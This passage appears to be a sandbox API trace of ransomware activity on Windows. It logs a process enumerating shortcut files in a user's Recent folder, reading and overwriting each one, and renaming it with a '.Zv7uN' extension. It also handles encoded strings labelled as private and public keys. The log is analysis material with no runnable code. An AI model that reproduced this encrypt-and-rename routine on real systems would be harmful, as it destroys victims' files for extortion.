halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n7t_prq.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e94fa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1e94fa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1e94fa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b3)) returned 1 [0082.346] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n7t_prq.flv.lnk")) returned 0x20 [0082.346] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk", dwFileAttributes=0x80) returned 1 [0082.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.350] GetCurrentThreadId () returned 0xa30 [0082.350] GetCurrentThreadId () returned 0xa30 [0082.350] GetCurrentThreadId () returned 0xa30 [0082.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.351] GetCurrentThreadId () returned 0xa30 [0082.351] GetCurrentThreadId () returned 0xa30 [0082.351] GetCurrentThreadId () returned 0xa30 [0082.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n7t_prq.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9b3 [0082.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.352] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x9b3, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x9b3, lpOverlapped=0x0) returned 1 [0082.353] CloseHandle (hObject=0x124) returned 1 [0082.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n7t_prq.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.355] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x9b3, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x9b3, lpOverlapped=0x0) returned 1 [0082.356] CloseHandle (hObject=0x124) returned 1 [0082.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n7t_prq.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n7T_pRq.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n7t_prq.flv.lnk.zv7un")) returned 1 [0082.374] GetCurrentThreadId () returned 0xa30 [0082.374] GetCurrentThreadId () returned 0xa30 [0082.374] GetCurrentThreadId () returned 0xa30 [0082.374] GetCurrentThreadId () returned 0xa30 [0082.374] GetCurrentThreadId () returned 0xa30 [0082.374] GetCurrentThreadId () returned 0xa30 [0082.374] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe363ca40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe363ca40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe363ca40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x151a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="n8TSq6Rxej90Ypz.lnk", cAlternateFileName="N8TSQ6~1.LNK")) returned 1 [0082.374] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.374] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8tsq6rxej90ypz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe363ca40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe363ca40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe363ca40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x151a)) returned 1 [0082.375] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\n8tsq6rxej90ypz.lnk")) returned 0x20 [0082.375] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\n8TSq6Rxej90Ypz.lnk", dwFileAttributes=0x80) returned 1 [0082.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDs